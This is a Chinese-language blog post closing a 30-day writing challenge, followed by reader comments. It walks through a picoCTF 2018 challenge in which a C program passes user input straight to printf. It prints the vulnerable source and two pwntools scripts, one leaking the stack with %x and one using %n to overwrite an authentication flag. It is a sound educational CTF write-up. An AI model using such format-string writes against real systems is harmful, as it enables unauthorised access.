時間過得真快,已經最後一天了,雖然每天發一篇文章真的很累,如果能夠重來的話,我還是會選擇參加鐵人賽,也因為鐵人賽是一股助力可以迫使更深入的學習、吸收、再打出來
建議大家在解題目的時候可以先多想一下,試試看各種方法,如果真的解不出來就去網路上參考人家怎麼寫的,了解別人的解題思維,之後做到類似的題目就很快可以解出來
picoCTF真的是很好入門CTF的網站,不但做的精緻,題目也都很不錯,我就是從零開始,剛踏入資安短短幾個月而已,透過picoCTF學到了很多各種領域的知識,而且最重要的是解出來很有成就感,這個成就感真的會讓人上癮想要一直解下去!
回到正題,雖然是最後一天,還是不能虎頭蛇尾吧,這裡就直接進到最後一題吧~
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/types.h>
int authenticated = 0;
int flag() {
char flag[48];
FILE *file;
file = fopen("flag.txt", "r");
if (file == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(flag, sizeof(flag), file);
printf("%s", flag);
return 0;
}
void read_flag() {
if (!authenticated) {
printf("Sorry, you are not *authenticated*!\n");
}
else {
printf("Access Granted.\n");
flag();
}
}
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IONBF, 0);
char buf[64];
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
printf("Would you like to read the flag? (yes/no)\n");
fgets(buf, sizeof(buf), stdin);
if (strstr(buf, "no") != NULL) {
printf("Okay, Exiting...\n");
exit(1);
}
else if (strstr(buf, "yes") == NULL) {
puts("Received Unknown Input:\n");
printf(buf);
}
read_flag();
}
這題跟昨天的題目也有異曲同工之妙,可以看到這題基本上只判斷no,不過要拿到Flag authenticated
這個變數必須要是1,但不過這裡並沒有可以將他改為1的程式碼,再來看到最下面print(buf)
這個部份,跟昨天一樣看起來是可以利用format string attack
這邊我先寫了一個python的程式碼透過輸入看看stack的內容
from pwn import *
r = remote('2018shell.picoctf.com',26336)
s = 'aaaa'
for i in range(20):
s += ' %x'
r.recvuntil('(yes/no)\n')
print s
r.sendline(s)
text = r.recvuntil('!')
print text
藉由這個可以得知authenticated
的位移量是11個,那再來我們要知道他的位址是什麼
透過gdb可以看到他的位址是在 0x804a04c
知道了這些資訊之後我們透過%n更改變數值
這邊一樣透過python 以下是完整的
from pwn import *
r = remote('2018shell.picoctf.com',26336)
s = p32(0x804a04c)
for i in range(10):
s += ' %x'
s += ' %n'
r.sendline(s)
print r.recvall()
這樣就可以成功拿到Flag了~
這三十天的鐵人賽感謝大家有耐心的看完,第一次發文,在文筆上有不佳的還麻煩多多包含,若是有哪些題目有更好的解法都可以留言指教,謝謝大家~
恭喜完賽,辛苦了,我也剛完賽而已XD
非常感謝教學,picoCTF真的很好玩,也學到不少東西,但我在還看您的前幾篇文章~
慢慢練習XD 其實我把它當遊戲在打,我覺得比其他遊戲都好玩(我是不是怪人XD
恭喜完賽~
解出來拿到Flag那個成就感真的不是玩其他遊戲可以得到的XD
加油!